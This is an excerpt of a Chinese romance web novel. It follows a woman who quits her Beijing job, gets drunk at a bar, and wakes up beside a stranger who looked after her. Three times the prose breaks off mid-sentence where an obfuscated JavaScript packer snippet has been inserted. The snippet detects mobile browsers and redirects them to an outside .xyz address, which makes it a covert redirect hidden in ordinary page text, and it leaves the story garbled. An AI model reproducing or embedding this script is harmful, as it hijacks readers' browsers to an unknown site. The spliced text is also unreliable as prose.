《夏日盛开法则》 1. 地球最后的夜晚 办完所有离职手续,跟讨厌的领导和同事们虚与委蛇地告别后,姜南西正式掉入为期四个月的失业假期。 离职理由很简单,在某个失眠的深夜,姜南西突然意识到自己厌烦了编导的工作,厌烦了要绞尽脑汁包装创意以获得甲方青睐,厌烦了这个毕业时,以为能够大展拳脚,终将在中国电影史上留下姓名的行业。 与此同时,她也厌烦了北京。 离职前,作为一名广告公司的资深编导,睁眼片场闭眼卧室的忙碌工作,让姜南西几乎失去所有个人生活,连和朋友坐下来喝杯咖啡的时间都挤不出来。 而因为准备房租到期就离开北京,不着急找工作,所以她幻想离职之后,有大把时间去做上班时无暇做的事。 躺空调房里吃冰,追剧,看书,打游戏,自己做饭......以及和许久未见的朋友约一顿饭。 可现实却是,半个月的报复性休息后,随之而来的,是无边无际的空虚和迷茫。 拜科技飞速发展所赐,她无法专心于某一个社交媒体,常常刷着短视频又想看小红书,看着小红书又会跳到购物软件,最可怕的是,有时候想查点什么东西,点开软件又会被首页推送抓走注意力,一看就是半天,等想起来时早忘了自己要干什么。 以前工作精神高度紧张,常常要同时多线程沟通,所以姜南西一度以为自己没有被这些网络鸦片所荼毒。 现在看来,她也算是科学研究里说的那种“脑腐化”人群。 但因为朋友都很忙,暂时没有能相聚的机会,姜南西还是只能躺在床上,百无聊赖地刷着这些让人失去思考能力的软件。 刷了会儿,刚刚出差回来的室友何星屿发来微信,说为了庆祝她辞职,约她晚上九点到MANDRILL小酌一杯。 姜南西这才惊觉已经下午六点。 离职之前作息就是日夜颠倒,毫无规律可言,离职之后,愈加紊乱的生物钟让她彻底失去时间观念。 在床上又躺了会儿,姜南西下床洗澡。 洗完澡打开衣柜,十几条漂亮的连衣裙整齐划一地挂在那里。 工作时为了便于走动,她只穿那些方便宽松的T恤裤装,这些连衣裙鲜少有机会穿出这个卧室,基本都是摘了吊牌洗干净后就扔在这里。 姜南西不禁想起买这些裙子时的心情——为了隆重的明天。 明天复明天,无数个重复的明天之后,这些裙子不再崭新。 就像姜南西的青春,从最初闪闪发光的满腔热血,到如今晦暗平淡的得过且过。 她从中挑了条白色蕾丝连衣裙,一穿上,顷刻间点亮全身所有的光芒。 平日肥大的工作服看着上下一边宽,而这条裙子流畅的修身剪裁,则完美衬出她性感的身姿,V领设计露出她颈部和锁骨的绝美线条,领口隐约透出迷人的事业线,肌理莹润白皙,腰肢纤细臀线饱满,每一处都散发着无尽的明媚与风情。 站在镜子前,姜南西忽然醒悟,原来失业的那天,才是真正隆重的明天。 她对这条裙子很满意,心情蓦然好了点,用平板放着综艺当背景音,卷了个头发,化了个精致漂亮的妆。 八点半,姜南西拎上平时没空背的大牌包,踩上细高跟,穿着旧的像新的一样的连衣裙,出门奔赴她隆重的夜晚。 夜晚的MANDRILL,迷离而喧嚣。 这家由演员黄觉开的酒吧,坐落于望京酒仙桥的交叉路口,店内装潢复古而朋克,气氛随性轻松,是附近上班族放松的好去处,偶尔运气好,还能遇上明星。 推开店门,姜南西朝迎接的侍应生报了个手机号,然后就被带到了预定座位。 何星屿迟到了,姜南西索性准备先点杯酒。 酒单从上往下一看,每一款酒水名字都是黄觉参演过的电影名称,但没有言明具体配方,点酒像在开盲盒。 灯光幽暗的角落,四周流淌着酒水和烟草的气息,空气中隐约几分超脱和不羁,连时间的流动都开始变得缓慢而沉静。 让人有种,就算下一秒世界崩塌,也愿意就此停留的放逐感。 在这种氛围的烘托下,姜南西点了杯《地球最后的夜晚》。 酒上来之后,侍应生躬身凑近道:“店长说了,如果一口气喝完还能念出杯底的文字,这杯可以免单哦。” 闻言,姜南西勾起唇角,俏皮地挑下眉梢:“下次一定。” 以往她赶时间,喝水喝咖啡都是一口闷,但现在她最不缺的就是时间,所以要放慢节奏好好品尝这份难得的闲暇和美好。 精心调制的鸡尾酒,墨绿色酒水映着酒吧的灯光,向外散发着一种难以言语的暧昧。 宛如深邃森林中的一汪冷泉,既神秘又充满诱惑。 入口却很辛辣,似有种狂野风暴来临之前,瞬间唤醒所有的欲望和感官,忘记所有束缚,尽情释放自我的刺激与自由。 姜南西小口小口抿着酒,同时等着何星屿,她转头望向窗外,夜晚的北京依然繁忙,街道上车辆川流不息,甚至造成了小小的拥堵。 但是没看一会儿,她又开始注意力不集中,忍不住掏出了手机。 还是那几个软件挨个来回地看,漫无目的地换了一个又一个。 现在挂在微博热搜上的是一位当红小生,因为走红毯时的绅士手,广大粉丝路人纷纷赞他尊重女性风度翩翩,但没人知道,他曾将一整杯咖啡泼到姜南西的脸上。 好友陈笛顺利拿到心仪的工作offer,又和长跑多年的男友订婚,双喜临门发了条短视频,姜南西点了个赞。 多年不见的学姐来北京旅游,连着发了几条朋友圈,壮阔雄伟的八达岭长城,红墙绿瓦的胡同小巷,在波光粼粼的湖面泛舟......每一条都扑面而来的热烈和活力。 看到这,姜南西开始反思自己。 都是北京,怎么别人眼中的北京和她眼中的北京不太一样。 她所在的北京,好像只有起床睡觉和上班,以至于离家三公里的MANDRILL还是第一次来。 但也就是想想,姜南西没放心上,接着随手点开了许久没有打开过的B站账号。 如她所料,后台依然充斥着一些不堪入目的评论和私信。 除去广告公司编导,姜南西私下还是个B站生活区up主,之前经常会发布一些日常和工作vlog,不露脸,没有特别的创意和炫技的手法,也没有那么多刻意煽情的文案,只是视频内容敏锐,善于捕捉生活的细节和美好,保留真实的样子,静静地让大家观看。 由此引发不少打工人的共鸣,把她的这些视频称之为“精神栖息地”,账号因此前前后后涨了十几万的粉丝。 最初做账号,只是因为工作束缚太多,姜南西想在私人领域做些新颖独特的内容。 换言之,她想通过这种方式让自己不要那么麻木。 但在一次两家明星粉丝的网络骂战中,她目睹女方被造黄谣,出于正义评论了一句,未曾料到,这一举动引来对家某些极端粉丝长达一年的谩骂与攻击。 姜南西最后悔的事,就是设置了暂不考虑合作的自动回复,这给对方有了发更多私信的机会。 扪心自问,姜南西其实算是个很胆小的人,就连是否离职也犹豫了很长一段时间,直到一次早会,和无理的领导争执之后才下定决心。 除了那次意外,她绝对不会和人正面起冲突,所以发现被骂之后,职场公关经验让姜南西第一时间选择冷处理,不回应也不反驳。 但对方并没有因此放过她,甚至后来她更一条视频对方就骂一条,拉黑也无济于事。 而职场的另一条经验,就是学会摆烂。 姜南西看对方坚持早十晚十私信、回回抢动态首评也要骂她,觉得实在毅力可嘉,最后也只能让自己变得佛系,所以哪怕现在对方站在她面前骂她,姜南西也只会无奈地说:行吧,算你牛逼。 反正她也不靠这个赚钱,加上工作越来越忙,她便没再更新这个账号。 如今重新看这个账号,姜南西心里百感交集。 一方面是挫败,好像自己无论主业还是爱好,似乎都没有干成什么大事。毕业时那种相信自己才华横溢能够建功立业的激情,早被社会的毒打消磨殆尽,让她不得不承认自己就是个普通人。 而另一方面,则是自我厌弃。 她其实很讨厌自己这种遇事就躲起来的鸵鸟性格,工作上是这样,跟了半年的项目,只因领导一句话,项目转手便给了关系户,因此她错失了升职机会,但就业环境差,为了工作她只能忍气吞声。 如今在网络上,被人泼了这么久的脏水还是这样,因为害怕和人争吵,信奉静默才能保全自己。 想到这里,姜南西心里忽然有点堵,她扔掉手机,望着街道不知什么地方走神。 这种懦弱与逃避,让她心里生出浓浓的失望和不满。 郁闷使然,她将剩下的半杯酒一饮而尽。 想起侍应生说的,姜南西认真读了一遍杯底的文字。 “你数过天上的星星吗?它们和小鸟一样,总在我胸口跳伞。” 很文艺很浪漫的一句电影台词,虽然姜南西暂时不知道是什么意思,但因为酒精的作用,她现在的心跳,确实像一群小鸟在胸口跳伞。 好不容易出来,自然不会一杯就走,她正在兴头,招呼侍应生又点了一杯《被光抓走的人》。 比起上杯,这杯更像是清冽的甜酒,入口的果香,带着淡淡的回甘。 杯身上写着一句话——爱是没有人能了解的东西。 爱情吗? 姜南西想起分手几年的前任。 她分手的理由和离职的理由,从某种程度上来说有些相似。 工作是因为想法被压抑而心力交瘁,恋爱则是因为忍耐变得面目全非。 和前任是大学同学,相爱时总是甜蜜美好的,然后进入社会后,两人矛盾频生。 前任会通过长篇大论来发泄情绪,起初姜南西还会积极表达想法,但发现对方只是为了指责和否定她,她的表达不被重视也不被倾听,并且只会换来更加激烈的指责。 所以后来为了维护和谐的关系,姜南西一而再再而三的降低底线,久而久之,她慢慢发现自己失去了表达欲,甚至是害怕表达。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765251|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那时姜南西真切地明白了那句话,人和人的沟通,有时候没有用。 最后问题越来越多,姜南西想的便不再是如何解决,而是直接放弃这段关系。 可能就是从那个时候养成的逃避型人格,后来一路蔓延到了工作和生活。 不表达也不辩驳,主观能动性变成被动性,从我想做什么变成我能做什么,到最后失去自我。 事业爱情两无收。 这样总结起来,姜南西认为自己的六年北漂算是失败的。 回望过去,时间给了工作,梦想悄无声息,留在她手里的,就只剩疲惫和麻木。 就像突然多出来三个月假期,她也不知道该干什么,怪不得那些北漂又离开的人常说,在这里,都以为自己还有大把的未来,就是没有现在。 姜南西沉沉呼出一口气,喝了口酒,开始认真思考接下来三个月该干什么。 当一个人脱离日常的环境和角色,深处去社会化的状态时,就会想勇敢一点,去尝试一些以往因为工作搁置的事情,甚至是打破自我,冒点险,去做一点以往没有做过的事情。 她找侍应生要了纸和笔,将脑子里光怪陆离的想法写下来。 醉意微醺,思考能力逐渐迟缓,姜南西写写画画,直到侍将应生给的纸张全部用完,那些纷繁散乱的想法,才慢慢成形,勾勒出大致的几点。 姜南西抽过旁边的一张纸巾,将头发撩到一侧,低下头,借着灯光写字。 第一条的灵感来自学姐的朋友圈,北京环球开了快三年,姜南西一次也没去过,一是因为忙,二是人实在太多,熙攘的人群她容易焦虑。 姜南西的第一条愿望便是去一趟不排队的环球影城。 花钱就能办到,这不难。 第二点和第三点也都和突破自我相关。 恐高,那就去爬一次长城,怕水,就去颐和园划一次船。 写到第四点时,正巧B站给她推送新消息,似乎是冥冥之中的召唤。 于是姜南西在纸上写下第四点,拍一个高质量告别北京vlog。 最后一点,深思熟虑之后,姜南西极是郑重地写下——和前男友彻底断联。 这里的断联指的不是前男友这个人,而是意识。 社交意义上,她和前男友早已互删好友相忘江湖八百年,而从意识层面上来说,过去的伤害仍旧在影响着她,她现在要做的,就是摒弃那些懦弱和胆怯。 写到这里,姜南西突然停下笔。 光影自上而下,照着角落里一片昏昧,连带着店里的音乐都沉重起来。 她望着这几行文字,眼神空洞地盯几秒,突然觉得特没劲。 果然胆小的人做事都透着一股胆小的滋味。 恐高应该去坐八百遍飞机,去跳伞,去爬珠穆朗玛峰,恐水应该去潜泳去出海,做回up主应该正面应对网暴,而不是在心理可承受的安全范围内,借以挑战的名义进行自我欺骗。 至此,姜南西知道自己纠结的毛病又犯了。 在她的人生字典里,冒险这个词几乎不存在。 她将那张写满计划的纸巾揉成一团,随手扔到一边,然后端起桌上的酒一饮而尽。 何星屿打电话来的时候,姜南西已经有了明显的醉意。 他下飞机又去了趟拍摄片场,结束后刚出来,遇上打车高峰期,正打算挤地铁过来找她,姜南西脑子浑浑噩噩的,没听进去几句,倒是看见了窗外刚出摊的铁板烧。 她想起来今天一天都还没吃饭。 姜南西挂掉电话,拎着包出门。 结完账走到门口,灯光随着音乐变得更加暗淡,酒吧的门被人从外推开,夏夜燥热的晚风灌进来。 姜南西往后退了半步,给外面进来的几人让路。 对方几人听上去是朋友,正说说笑笑,似乎是合起伙来调侃走在最后面的那人。 为首的那个声音洪亮,激昂的音乐都盖不住他满口的京片子:“不儿,大周末的,刚来就要走啊,嘛怯?” 另一人则温和得多,推着他往前走:“以为都跟你一样朝九晚五啊,人老三可是公司老板,忙着呢。” “别跟我来这里格儿楞!丫那操行!不定是相亲去了!” “相亲好啊,老三的单身问题也该解决了。” 两人路过姜南西时,客气地招呼了声:“劳驾。” 根本不用对方请求,姜南西现在酒劲上来,顶着个昏沉的脑袋靠在门边,老老实实等着几人挨个从她身边经过。 最后一个男人个子很高,休闲黑色T恤工装裤搭运动鞋,双手悠然插在裤兜,露出的小臂肌肉线条紧实流畅。 他路过时,还礼貌地和姜南西拉开了点距离。 姜南西低着头抬脚往外走。 擦肩而过,她双脚骤然发软,身体失衡猛地向前。 电光石火的一瞬间,突然从旁边伸出一只温热有力的手,稳稳地托住她的臂弯,避免了她当众摔倒的尴尬场面。 在一片慌乱和惊愕中,姜南西听见头顶上方传来男人的声音。 声音干净磁性:“小心。” 2. 冰镇苏打水 宁朝的公司最近新品上市,作为技术总负责人,他连着加了半个月的班,好不容易休息了一天,在家闷头补觉睡到晚上7点,刚醒就被两个发小叫出来喝酒。 原先他没想出来,转念一想晚上本来也要出去,正好酒吧离家也近,就顺路过来看看。 但坚决不喝酒。 十点多,MANDRILL的人逐渐多了起来,他们赶到时就只剩窗边的一个位置,人刚走不久,侍应生一边招呼他们点单,一边着急忙慌地收拾桌子。 贾志新又问了一遍宁朝:“老三真不来一杯?” 宁朝上头还有大伯家的俩孩子,他排第三,所以关系好的朋友都会叫他老三。 “不了,坐会儿就走。”宁朝找侍应生要了冰镇苏打水。 李博想起来什么:“也是,他这才刚好没多久,还是别喝酒了。” 不久之前宁朝登雪山时,因为队友判断失误导致两人踩空受伤,虽然只是腿上的小骨裂。但也在家休养了一阵,算起来,这还是他受伤后几人的第一次见面。 “行吧。”贾志新向侍应生要了老三样。 李博随手扯了几张纸巾擦手,到底按耐不住好奇:“不过这么晚了你到底有什么事儿啊?” 半明半暗的玻璃窗边,宁朝背靠椅背姿态散漫,满身透着没睡醒的混不吝,被问到有什么事儿时,他眼底闪过一丝不明的情绪。 宁朝似笑非笑:“好事儿。” 听这话是不愿多说,李博随口回了句:“静候佳音啊!” 酒端上来的功夫,几人随口闲聊。 李博问贾志新:“你爸妈身体最近怎么样啊?” “好着呢!”贾志新说,“这不前几天两人刚聘上那个文明引导员,好嘛高兴着呢!” 文明引导员,是北京大街小巷随处可见的一道风景线,他们会穿着黄色马甲出现在早晚高峰的十字路口和地铁站,挥舞着手里的小旗子站在路边,维护过路行人的交通秩序。 这些人大多都是退休的大爷大妈,利用闲暇时间发挥余热, 宁朝的爷爷之前也干过一段时间,可惜近几年改了招人标准,超过七十岁的人家不要,被迫下岗的老爷子回家生了好一顿闷气。 想到有一阵子没见面的老爷子,宁朝点开手机,查看胡同小院的实时监控。 小院里灯光大亮,墙角的葡萄藤随风摇晃,快转钟了老爷子还精神抖擞,正领着几个陌生人在家里来回转悠,自从旁边的租户搬走,那几间房一直空着,来看的人一茬接一茬,真正有意向的却不多。 宁朝暗自腹诽,这么晚了也不嫌折腾。 收起手机,宁朝喝了口苏打水。 无数气泡滑入喉间,激起丝丝缕缕的清爽,带来一阵又一阵的凉意,给夏夜黏稠的闷热按下暂停键,也消散了宁朝大睡一场之后的疲倦感。 旁边两人唠嗑。 贾志新今天把李博叫出来还有件事儿,家里闺女马上要上小学,准备买个学区房,但他跟媳妇儿俩人研究了好长时间,也不知道到底该选哪个学校。 正巧李博在教育局工作,索性把他叫出来取取经。 这话题宁朝插不进去,他就坐在另一侧闷头喝苏打水,偶尔看一眼手机,准备到点就走。 无聊中,他的目光被桌灯后面的什么东西吸引。 移开桌灯,是一个皱巴巴的纸团,上面有字,灯光影影绰绰的看不清楚。 闲着也是闲着,宁朝伸手将那纸团拿过来,摊开在桌面上。 窗内昏暗,窗外明亮。 宁朝坐在明暗交界的地方,周身慵懒,眼睫微垂,研究一张被人丢弃的“待办事项”。 字体端秀却不失劲挺,运笔潇散有致,行书之间带着几分洒脱。 可惜的是,写到最后一行字时,执笔人大概被什么绊住了思绪,下笔姿态不如之前,导致最后几个字观感有些拖沓和仓促。 “拍一个高质量告别北京vlog。” “和前男友彻底断联。” 宁朝笑了声,又是告别北京又是和前男友断联的,看来是跟感情有关,北京成了伤心地。 “笑什么呢?”贾志新去了洗手间,李博转过来跟宁朝说话。 宁朝一昂下巴示意那纸巾,戏谑说:“又是一被渣男伤心的纯情少女。” 李博快速掠了眼那张纸巾,眸光亮了下:“嚯!姑娘这手字儿写得真漂亮。” 宁朝不置可否。 但这些事情对于喜欢挑战极限运动的宁朝来说,都不足为奇,甚至连冒险的边儿都沾不上,他最后看了眼没放心上。 等贾志新回来,又坐了会儿,宁朝被酒吧里的音乐震得头疼,找了个借口出去抽烟。 已经是初夏的深夜,不凉不热,晚风在城市的楼栋穿梭,裹挟着四面八方的噪音,像一股乱糟糟的浪,树叶在枝头轻轻摇曳,发出沙沙声响,是喧嚷中难得的静谧。 这阵风彻底把姜南西的酒气熏开。 她整个人晕晕乎乎,坐在酒吧外面的台阶上,嘴里咬着根炸年糕。 但她现在脑子很清醒,她知道自己在想什么。 ——她在想半小时前酒吧门口的那个男人。 男人扶住她的时候,碰巧酒吧灯亮一刹,姜南西用余光瞥了眼对方的长相。 五官立体优越,鼻梁高挺,在酒吧灯光的映衬下,眉眼深邃成熟,可偏偏他的穿着格外清隽,脊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765252|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背挺直,带着点少年感的张扬散漫,又有恰到好处的沉稳。 浑身上下透着难以言喻的气质。 如果按以往选演员的标准,这无疑算是好看的长相。 但比起单纯的好看,他给人的感觉,更像是躁热夏晚突然降临的一场骤雨,干净,清冽,朝气蓬勃,在混乱嘈杂的酒吧中央,格外醒目惹眼。 最重要的是,他是单眼皮。 这完全长在姜南西的审美上。 刚刚那两人的调侃还犹在耳畔,姜南西迅速从中锁定信息,这个男人还是单身。 酒壮怂人胆,一个大胆的想法油然而生。 这把姜南西自己都吓了一跳。 都说短时间内想克服某个弱点,就要反其道而行之,去做与之对应的最极端最反差的事,所谓的脱敏治疗。 简单来讲,她的生活太谨小慎微,她需要找一些刺激。 一个小时前,她尝试这样做,在一张小小的纸巾上做了各种展望,最终却还是败北于自己的胆怯。 但现在,她有了个离经叛道的想法。 这个想法就像那群跳伞的小鸟,失重降落,溅起她胸口所有的星星。 顿时,她眼前星光四射,遍地都是挣扎的碎片。 经历整晚跌宕的心情,在跌落谷底的一瞬间触底反弹,生出前所未有的力量,造就一种绝处逢生的特殊心境——踏过这些碎片,重新开启你的人生。 内心深渊的纠结深拽着她,而绳索的这一头,是酒精的引诱,和姜南西决心对抗胆怯的风向帆。 去跳伞,去航海,去重生。 去冒险。 再不给自己犹豫的机会。 姜南西咽掉最后一口年糕,翻出包里的口红粉饼,仔细地补了个妆。 宁朝在树下吹了会儿风,算算时间,也差不多该走了,就准备到马路对面的便利店,买杯咖啡提神。 他刚一抬脚,感觉衣角被人拽了下,力气不大,带着显而易见的颤抖。 宁朝回头,毫无征兆地对上一双湿漉漉的眼睛。 他神情倏然怔住。 身后酒吧的门一开一合,从里面溢出来大片的冷气,一股脑扑在宁朝的胳膊上,也扑在眼前女人红润的脸颊上。 她很明显是醉了,双眼朦胧,像是蒙了一层潋滟水雾,眼尾泛起淡淡的胭色,微曲的碎发贴在白皙的皮肤,嫣红的嘴唇微张,透着醉酒的妩媚和明艳。 一张美得摄人心魄的脸。 但宁朝还是一眼看出,这张脸上写满了视死如归的表情。 他准备开口,却被对面的人抢先一步。 姜南西鼓起平生所有的勇气:“帅哥,你接受一夜情吗?” 3. 鲜榨橙汁 姜南西迷迷糊糊醒过来的时候,窗外的阳光耀得刺眼。 她忍不住想转过头去,却发现此刻的脑子像灌了铅一般沉重,疼得仿佛下一秒就会裂开。 她用力闭下眼睛强迫自己清醒过来,眼前的景象渐渐从模糊变得清晰,直到视线聚焦在一盏完全陌生的水晶吊灯上,再一看对面墙上根本没见过的空调...... 姜南西的心脏猛地一紧。 她迅速从床上弹坐起来,下一秒,惊魂不定的瞳孔里映出一个帅气男人的面孔。 姜南西的脑子短暂地失去了思考能力,她不知道这是什么情况。 为什么她会出现在一个从来没有来过的房间,房间里有个她不认识的男人,以及昨晚说要来找她的何星屿,又为什么会在旁边的沙发上呼呼大睡。 相比起姜南西的慌张,对面的宁朝则显得气定神闲。 窗帘半掩,他姿态闲散地坐在单人沙发,明亮的阳光打进来,给他身前的一切都镀了层清柔的暖光,暖光强烈反差的阴影后面,宁朝保持着那个坐姿一动没动,仿佛在一直安静等着姜南西醒过来。 沉默半晌,宁朝问:“喝水吗?” 戒备心让姜南西本能地摇了摇头,她不敢和男人持续对视,只敢借着环顾四周的间隙,趁机偷偷观察一眼对方。 但好在何星屿也在旁边,即便还搞不清状况,她也没慌到失去分寸。 姜南西紧张地咽下口水,做足了心理建设才问:“请问您是?” “热心朝阳群众。”宁朝漫不经心扬了下嘴角, “啊。”姜南西怔怔点头。 就在她还没想明白,为什么热心群众会把她和何星屿捡回家而不是丢到警察局时,热心群众又说话了:“也是你的一夜情对象。” 姜南西:“......???” 这句话无疑是颗惊雷,将姜南西脆弱的心理建设炸得分崩离析。 零星画面闪过脑海,紧接着,昨晚从出酒吧到后来发生的一切如同风暴席卷而来,最终定格在她拽着的一个男人的衣角。 但如果记得没错的话,那个男人穿得应该是件黑色T恤,而不是现在的灰色。 于是姜南西确认般地说:“我记得那个人不是这件衣服。” “嗯。”宁朝淡淡道,“那个人一开始穿的黑色T恤,不过后来被你弄脏了,只能临时找了件别的。” “......”刹那间,姜南西的脸臊得快要烧起来。 但与此同时,她也敏锐地发现,除了头疼,她的身上没什么别的感觉,也还穿着昨天那条裙子,所以他们两个应该是没发生什么。 可是昨晚那句话已经是她做过的最出格的事,尤其现在清醒的时候,她实在是没有办法对这个问题展开正面讨论。 所以只能问起别的,她指着旁边的何星屿:“那他是怎么回事?” 宁朝偏头看了眼,何星屿抱着抱枕睡得正沉,表情格外香甜,仿佛正沉浸在一个无比美好的梦境。 他转回来,视线悠然落在姜南西脸上,不答反问:“这人你认识?” 姜南西回答:“对,他是我朋友。” “他守了你一晚上,怪辛苦的。”宁朝说了句。 “啊,谢谢啊。”说完姜南西也不知道自己为什么要说谢谢,可能来源于从小的教育,伸手不打笑脸人。 空气停顿几秒。 “真不好意思弄脏了你的衣服,多少钱我赔给你吧。”姜南西想起他刚说的话,心里实在过意不去。 宁朝直接掏出手机,点开微信二维码后举起来:“衣服送去干洗了,洗完才知道多少钱,你可以先加我个微信。” 姜南西立马转身回头找自己的包,从旁边床头柜上的包里翻出手机,她动作敏捷地打开微信,扫描二维码发送了好友申情。 收到好友申请,宁朝点击通过,他眸光在粉色月野兔的头像上停驻一秒:“喜欢美少女战士?” 姜南西有问必答:“还行。” 备注姓名时,宁朝问:“你叫什么?” 姜南西瓮声说:“姜南西,生姜的姜,东南西北的南西。” 宁朝打字的手指一顿,这名儿挺有意思,乍一听还以为是江南西。 他抬起头看着床上还懵着的人,语调吊儿郎当:“你好,我北京南。” 这落在姜南西耳中,却是另一层意思,特别是他说话时,虽然不太明显,但不经意透漏出的慵懒京腔,典型的北京男。 她满脸认真:“我看出来了。” 本想活跃气氛的宁朝:“......”也不知道她看出什么来了。 “不过为什么他叫你姜橙子?” 昨晚姜南西刚说完那句话,就神志不清地直直栽倒在宁朝怀里,正当他手足无措的时候,突然从马路对面突然冲过来一人,随之而来的是一声响彻街头的暴吼:“你他妈放开姜橙子!” 姜南西摸了摸自己后颈,想几秒解释说:“我们家是种橙子的,平时会寄一些分给朋友们,一来二去大家就这么叫我了。” 宁朝嗯了声自报家门:“我叫宁朝,宁可的宁,朝气的朝。” “哦。”姜南西低头将这个名字存进微信。 礼貌的建交之后,空气忽然又冷了下来,弥漫起几分不容忽视的尴尬。 在宁朝站起来的一瞬间,姜南西到底忍不住问出那个问题:“所以,我们算是......未遂?” 宁朝的动作肉眼可见地僵了下,他轻吸一口气,抬眸直勾勾望向姜南西的眼睛,简短而坚定道:“未遂。” 姜南西暗自松了口气。 未遂好,未遂好啊。 想想她还是道歉:“那个......不好意思啊,跟你女朋友也说声不好意思。” “我没女朋友。”宁朝直截了当,话里听不出什么情绪,“跟我说就行了。” 没有女朋友,姜南西心理负担小了一点,但还没彻底放松,耳边又响起宁朝严肃的声音:“以后少喝点酒。” “......好。”姜南西闷闷地答。 宁朝转身拍了拍沙发上的何星屿。 何星屿搓了把脸坐起来,宁朝说:“待会儿店长要来备货,这里不能久待,赶紧带着她回去吧。” “谢了啊兄弟。”何星屿还没睡醒,含糊不清地说了句。 说完,宁朝又转过来对姜南西道:“我还有事,先走了。” 知道自己醉酒给人造成了麻烦,姜南西不好意思再多耽误,只点点头赶紧说了句:“衣服干洗的钱我会赔给你的。” 看着她愧疚不已的懊恼模样,宁朝在门口站了两秒,最后,他没来由轻笑了下,摇摇头拉开房门走了。 宁朝走后,姜南西也连忙收拾了东西,拉上何星屿一块走了。 附近这一片是酒仙桥电子城和创业园区,平时车流量就大,更别提这会儿早高峰,前后几条街都堵得水泄不通,姜南西打的车在拥堵的车流种缓缓蠕动。 姜南西之前上班的广告公司也在这一片,路过时,她仰头瞟了眼那栋钢筋大楼,心里还是控制不住地会酸涩。 幸运的是,为了上班方便,她租的房子离公司不远,这种心情没延续太久,一下车就消失的了无声息。 到家的第一件事,就是赶紧卸妆。 可当姜南西站到洗手间镜子前,看到自己素面朝天,毫无妆感的脸时,不由自主地张大了嘴巴。 她迅速洗完澡换上睡衣,然后拉开洗手间的门,探着脑袋问正在收拾快递的何星屿:“你帮我卸的妆?” “是啊。”何星屿拎着三脚架走进杂物间,声音从斜对角的屋子里传来:“不过卸妆水和卸妆棉是那哥们儿买的。” 姜南西不解皱眉:“那哥们儿,宁朝?” 提到这个人名,何星屿扔掉手上的东西,从杂物间里走出来:“我还没问你呢,你俩怎么回事儿啊?” 会这么问,就证明他不知道自己干了什么缺德事。 姜南西眼神躲闪:“我这不是断片了吗,不记得了。” “你是不记得了!”何星屿抱起双臂,一脸愤慨地看着她:“你都不知道后来的事有多离谱!” 姜南西脑子“轰”的一声,她嗓音不禁发颤:“我干嘛了?” 回忆起昨晚,何星屿直接气笑了,笑得姜南西毛骨悚然。 “你倒是没干什么,就是我赶到的时候你已经喝趴了,倒在那哥们怀里不省人事,我以为你被人欺负了呢,上去就准备带你走,结果那哥们儿说不放心我,怕我专门在酒吧门口拐带醉酒少女的,卧槽——”何星屿翻了个大白眼,“我还觉得他不是啥好人呢,长得人模人样的。” 这番话听的姜南西心惊肉跳:“然后呢?” 何星屿:“然后我俩谁也不让着谁,都想着不能随便让人把你带走啊,所以只能借用酒吧楼上的房间,大眼瞪小眼地守了你一晚上咯。” “辛苦你了。”姜南西抱有歉意地笑了下,转而问他:“不过你干嘛不报警啊?” “报警?!”何星屿冷哼了声,“后来你抱着那哥们儿死活不撒手,警察来了不知道你俩谁骚扰谁呢。” 姜南西的脸上腾的升起红云,她摸了摸眼睛,转身走回自己房里。 何星屿继续道:“再说了我不是认识MANDRILL那店长吗,正好他俩也认识,那应该不是什么坏人吧。” 姜南西的注意力全在那句“抱着不撒手”,根本没听他在念叨什么,她现在只想赶快躲进被窝里,不想面对这个丢人现眼的事实。 在被窝里闷了会儿,何星屿敲了敲她房门,姜南西缓缓拉下被子,只露出一双眼睛。 何星屿靠在墙上,目光飞速扫过手机上中介推过来的几个房源:“橙子,你真不打算留北京啦?” 本来是两人一块合租,房租到期了可以直接续,但是姜南西突然说要离开北京,何星屿就只能自己重新看房。 “不留了。”姜南西拉开被子,她看着雪白的天花板,声音里透着沮丧:“我觉得北京没意思。” 其实这不是姜南西待了六年之后才有的感觉。 她第一次来北京,是来参 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765253|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加北京大学生电影节,领取当年的最佳影片奖,当时的姜南西二十二岁,年轻,有朝气,浑身带着新鲜的青涩。 可她内心深处有种直觉,自己不适合这座城市。 坐着300路公交上国贸桥,可以直面这座城市的繁忙与繁华,可在姜南西的眼中,每一盏灯火都是被抽走灵魂的眼,轮胎与地面摩擦,发出城市无奈又空洞的叹息。 四处的喧闹诉说着个体的渺小和孤单,姜南西有清楚的认知,如果待在这里,自己大概率会被淹没在阴暗潮湿的角落,成为金碧辉煌背后一块不起眼的垫脚石。 所以毕业时,她想去南方一带的城市。 但前任来了北京。 